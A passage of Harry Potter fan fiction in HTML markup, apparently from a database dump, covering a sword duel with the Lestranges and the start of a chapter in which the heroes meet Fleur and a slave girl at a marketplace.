style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Without saying a\nword, Dame Lestrange swung her sword at Ron.&nbsp;\nRon deflected the blow but was tripped by the Dame Lestrange.&nbsp; Ginny swung her sword down at Lestrange who\ncaught the blade on her own.&nbsp; Ron\nscrambled to his feet and made a sideways thrust at Lestrange who blocked.&nbsp; Ginny slashed at her but was also blocked by\nDame Lastrange.&nbsp; Metal sounds issued as\nDame Lestrange continued to block the blows of the Weasleys.&nbsp; She had caught both blades on her own when\nshe said, <i>&#8220;Reducto!&#8221;</i>&nbsp; Ron and\nGinny were blasted into the dining table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A most brilliant\ndisplay of skill, Potter,&#8221; said Baron Lestrange.&nbsp; The two duelers were barely moving, only their blades constantly\nhitting each other.&nbsp; &#8220;I would&#8217;ve assumed\nthat life of royalty would have dulled your skill.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry raised an\neyebrow.&nbsp; &#8220;Shows how much you know of\nGryffindor,&#8221; he said.&nbsp; Breaking the\nstand still, Harry ducked and kicked at Lestrange&#8217;s shins.&nbsp; Baron Lestrange tumbled down the stairs and\nlanded in a heap at the bottom of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry calmly\nwalked down the stairs a slight smirk on his face.&nbsp; &#8220;It looks like a high life in the nobility is more damaging to\nyour skill.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Baron Lestrange\nscrambled to his feet looking murderous.&nbsp;\n&#8220;You&#8217;ll pay, Potter!&#8221; he hissed.&nbsp;\nWith a roar, Lestrange charged at Harry only to have Harry spin around\nhim and ram his hilt into the back of Lestrange&#8217;s head.&nbsp; Clutching at the back of his head, Baron\nLestrange continued swinging his word at Harry only to have all of the blows deflected.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron charged at\nDame Lestrange and swung his sword at her.&nbsp;\nDame Lestrange blocked three successive blows made at her by Ron and\nmanaged to trip Ron again.&nbsp; Ginny leapt\noff the table and slashed her sword down at Dame Lestrange.&nbsp; Lestrange simply blocked Ginny&#8217;s blow by\nraising her sword up horizontally.&nbsp; What\nDame Lestrange hadn&#8217;t counted on, however was that Ginny used the momentum of\nthe two swords hitting each other to flip through the air and land behind Dame\nLestrange!&nbsp; Ginny placed a swift kick on\nLestrange&#8217;s back and sent her flying forward into the dining table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lestrange wearily\nstood up looking livid.&nbsp; She barely\nmanaged to compose herself to block Ron&#8217;s continuous attacks as he constantly\nslashed at her.&nbsp; Ginny also charged at\nDame Lestrange whom was barely able to deflect Ron&#8217;s blows.&nbsp; She was clearly getting exhausted fighting\ntwo Mage Knights as beads of sweat started rolling down her forehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Ginny\ncaught Dame Lestrange off guard and rammed her hilt into Lestrange&#8217;s right\ncheek!&nbsp; Not missing his chance, Ron\nyelled, <i>&#8220;Expelliarmus!&#8221;</i> causing Dame Lestranges sword to fly away from\nher hand.&nbsp; It also blasted Lestrange\nthrough a window, causing glass to shatter.&nbsp;\nDame Lestrange plummeted from the second level to her death in the\nfrozen lake below the window.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You are a\nbrilliant swordsman,&#8221; said Baron Lestrange as he deflected another one of\nHarry&#8217;s slashes.&nbsp; &#8220;But I am the greatest\nswordsman of all the Death Eaters.&nbsp;\nThere is no way that you can out duel me.&#8221;&nbsp; The two blades met again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry couldn&#8217;t\nhelp but smile as he blocked one of Lestranges attacks.&nbsp; &#8220;Oh really,&#8221; he said, their swords still\nslashing at each other.&nbsp; &#8220;Well, I&#8217;m\nsorry to say this, but&#8230;&#8221; suddenly, Harry deflected Lestrange&#8217;s sword away, spun\naround and ran Lestrange through!&nbsp;\n&#8220;You&#8217;re not as good as Voldemort,&#8221; finished Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Baron Lestrange\nfell to his knees, a look of astonishment and disbelief written on his\nface.&nbsp; He tried to reach up at Harry but\nsoon fell down dead.&nbsp; Harry sighed as he\nsheathed his sword.&nbsp; &#8220;Whew, I&#8217;m glad\nthat&#8217;s over,&#8221; he muttered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At that moment,\nRon and Ginny dashed into the hallway.&nbsp;\nThey stopped short when they saw Baron Lestrange&#8217;s body and Harry\nstanding over it.&nbsp; Ron grinned and gave\nHarry a thumbs-up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Looks like you\ndidn&#8217;t need any help,&#8221; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah, looks like\nI didn&#8217;t,&#8221; muttered Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So what should we\ndo now?&#8221; asked Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked out\nthe window to see the dawn sun rising.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, I suppose\nwe should rest here for awhile, but not to long,&#8221; he said.&nbsp; &#8220;We should really be making our way\nsoon.&nbsp; There&#8217;s bound to be more trouble\ncoming ahead.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah,&#8221; said\nRon.&nbsp; &#8220;I don&#8217;t think I&#8217;ve had enough\nexcitement today.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I have always\nwondered about this, but what the heck is this obsession girls have with Oliver\nWood?!&nbsp; I just don&#8217;t get it, although\npart of that might be the fact that I&#8217;m a guy with messy brownish black hair.&nbsp; My eyes are brown though, not green.&nbsp; I just don&#8217;t get it.&nbsp; Oh, by the way, New Zealand Opaleyes are\nmentioned in &#8216;Fantastic Beasts and Where to Find Them&#8217; by Newt Scamander, Comic\nRelief.&nbsp; Next: Mage Knights go to the\nmarketplace and meet a part veela.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 9, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n9: The Marketplace\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few days later,\nHarry, Ron, and Ginny had made it to a snow covered clearing not too far from\nthe nearest village.&nbsp; There, they caught\nsight of a large collection of tents pitched on the snow.&nbsp; There was a multitude of people going back\nand forth between the tents and the village.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Looks like a\nbazaar,&#8221; said Ron.&nbsp; It was indeed a\nmarketplace filled with many shops and trade stands.&nbsp; Merchants were calling to villagers engaging in trade and barter.&nbsp; Although the place looked a lot different, the\nMage Knights were reminded of Diagon Alley in their own homeland.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This is a nice\nplace,&#8221; observed Ginny as they wandered around the tents, checking out the\nmerchandise.&nbsp; The Mage Knights wore\nbrown cloaks over their armor, their hoods drawn up.&nbsp; Although they looked a little suspicious, nobody would dream that\nthey were Mage Knights of Magiterran.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This place is\ngreat,&#8221; said Ron.&nbsp; &#8220;All these shops,\nstores, trade stands, ba&#8230; hello, what&#8217;s this?&#8221;&nbsp;\nSomething had caught Ron&#8217;s eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a stage\nwith a whole troop of dancing girls performing.&nbsp; The girls were dressed in exotic, revealing clothes, had long\nwaist length blonde hair and sparkling blue eyes.&nbsp; They were dancing very seductively and they also seemed to be\npart veela since men were trying to jump on the stage and declare great things\nto them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny heard Harry\nmuttering, &#8220;I&#8217;m a married man, I&#8217;m a married man, I&#8217;m a married man&#8230;&#8221; over and\nover while Ron started jumping up and down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m the king of\nGryffindor!&#8221; yelled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey I&#8217;m the king\nof Gryffindor,&#8221; said Harry.&nbsp; Ginny\ncouldn&#8217;t tell whether he was trying to correct Ron or impress the part veelas.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK, OK, that&#8217;s\nenough boys,&#8221; said Ginny as she grabbed hold of the other two&#8217;s cloaks and\nproceeded to drag them away.&nbsp; &#8216;I feel\nlike I&#8217;m filling in Hermione&#8217;s shoes&#8217; she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, don&#8217;t go yet,\nmonsieurs and mademoiselle.&nbsp; We really\nlike &#8216;aving you &#8216;ere,&#8221; called out a voice from behind them.&nbsp; Ginny turned around to see that one of the\ndancing girls, arguably the most beautiful of them, was standing behind\nthem.&nbsp; Ron was all over her in seconds.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;And who may you\nbe my elegant lady?&#8221; he asked, kneeling down in front of her and kissing her\nhand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The dancing girl\ntossed back her hair and completely ignored Ron as she walked up to Harry.&nbsp; &#8220;I am Fleur Delacour.&nbsp; You are very &#8216;andsome, per&#8217;aps we could &#8216;ave\na drink togezer?&#8221;&nbsp; Fleur batted her\neyelashes towards Harry in a way that made Ginny want to throw up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For a while, Ginny\nwas worried that Harry might fall victim to the veela charms.&nbsp; Harry however, smiled and said, &#8220;I am\npleased that so elegant a lady wishes for my presence but I am afraid that I am\ngoing to have to decline.&#8221;&nbsp; Ginny\nbreathed a sigh of relief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur simply\ntossed her hair back.&nbsp; &#8220;Zat eez your\nloss,&#8221; she said haughtily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ah, but I am\nsingle,&#8221; said Ron.&nbsp; &#8220;Perhaps we could go\ntogether and I might tell you the tale of how I invented the game of\nQuidditch.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur continued to\nignore him as she said, &#8220;At least, come see us be&#8217;ind za tent.&nbsp; You could meet some people.&#8221;&nbsp; Harry decided that this was acceptable so\nthe Mage Knights followed Fleur to where the dancing girls stayed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was a\ncomfortable tent that could easily fill a whole battalion.&nbsp; Ron pulled a chair out for Fleur but Fleur\nignored it and sat in a different chair.&nbsp;\nHarry and Ginny sat on the sofa as Fleur sent for her servant.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A young girl,\nabout the same age as Ginny came out carrying some tea on a tray.&nbsp; She had, wavy waist length auburn hair,\nhazel eyes, and a slightly pale complexion.&nbsp;\nShe was wearing a brown one-piece robe that went to her knees, was bare\nfoot, and had a black chocker around her neck.&nbsp;\nRon immediately snapped out of the trance that Fleur had held him in.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur tossed her\nhair back as the servant girl served them tea.&nbsp;\n&#8220;Margaret, will you see to eet zat these guests &#8216;ave all zat zey\nwish?&#8221;&nbsp; The girl, Margaret nodded once\nbefore leaving the tent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Who is she?&#8221;\nasked Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur raised her\nnose haughtily and tossed her hair back.&nbsp;\n&#8220;She eez just a silly girl who was lost in za &#8216;ills.&nbsp; I took &#8216;er in as a slave girl and she &#8216;as\nworked well for me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Slave girl?!&#8221;\nyelled Ron, his fiery temper getting the better of him.&nbsp; &#8220;Since when did anyone ever deserve to\nbecome a slave?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur finally\nacknowledged Ron for the first time.&nbsp;\n&#8220;She was lost in za wilderness and I saved &#8216;er.&nbsp; Think ov what would &#8216;ave &#8216;appened if she\nwere found by bandits or worse.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But she&#8217;s a\nliving human being!&#8221; yelled Ron.&nbsp; &#8220;No\nhuman ever deserves to live under the yoke of slavery!&#8221;&nbsp; Harry was a little amazed that this was\ncoming from the person who was scandalized by the idea of house elves receiving\nsalaries.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Zat eez za way\nthings are &#8216;ere,&#8221; said Fleur as if it were common knowledge.&nbsp; Ron opened his mouth to retort but couldn&#8217;t\nthink of anything to say so he stormed out of the tent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Fleur turned to\nHarry and Ginny.&nbsp; &#8220;Your friend &#8216;as quite\na temper.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, you don&#8217;t\nknow the half of it,&#8221; said Ginny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron walked around\noutside in the snow, letting the cold air cool his temper down.&nbsp; Personally, he couldn&#8217;t understand why he\nhad blown up far more easily than usual.&nbsp;\nIt was just that, when he had seen Margaret, he had felt something that\nhe had never felt before and the idea that she was bound to some one legally\nmade his blood boil.&nbsp; Of course he was\nalso aggravated by the idea that slavery was legal in Durmstrang.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After about an\nhour, Ron returned to the tent only to find the slave girl, Margaret shearing\ncorn.&nbsp; Ron noticed that she was wearing\nvery little clothes and that she was shivering.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Aren&#8217;t you cold?&#8221;\nhe asked.&nbsp; Margaret looked up quite\nstartled.&nbsp; She looked as if this was the\nfirst time some one had ever talked to he like a human being in a long time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 